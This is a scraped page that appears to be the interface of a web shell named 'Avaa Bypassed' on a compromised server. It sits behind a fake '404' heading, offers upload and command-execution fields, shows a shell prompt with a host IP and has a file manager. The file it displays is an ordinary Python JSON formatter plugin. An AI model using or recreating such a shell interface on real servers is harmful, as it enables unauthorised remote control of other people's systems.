404

[ Avaa Bypassed ]




Upload:

Command:

elspacio@18.116.27.78: ~ $
import json

from ...plugins import FormatterPlugin


class JSONFormatter(FormatterPlugin):

    def __init__(self, **kwargs):
        super().__init__(**kwargs)
        self.enabled = self.format_options['json']['format']

    def format_body(self, body: str, mime: str) -> str:
        maybe_json = [
            'json',
            'javascript',
            'text',
        ]
        if (self.kwargs['explicit_json']
                or any(token in mime for token in maybe_json)):
            from ..utils import load_prefixed_json
            try:
                data_prefix, json_obj = load_prefixed_json(body)
            except ValueError:
                pass  # Invalid JSON, ignore.
            else:
                # Indent, sort keys by name, and avoid
                # unicode escapes to improve readability.
                body = data_prefix + json.dumps(
                    obj=json_obj,
                    sort_keys=self.format_options['json']['sort_keys'],
                    ensure_ascii=False,
                    indent=self.format_options['json']['indent']
                )
        return body

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
__init__.py File 0 B 0644
colors.py File 7.09 KB 0644
headers.py File 552 B 0644
json.py File 1.1 KB 0644
xml.py File 1.9 KB 0644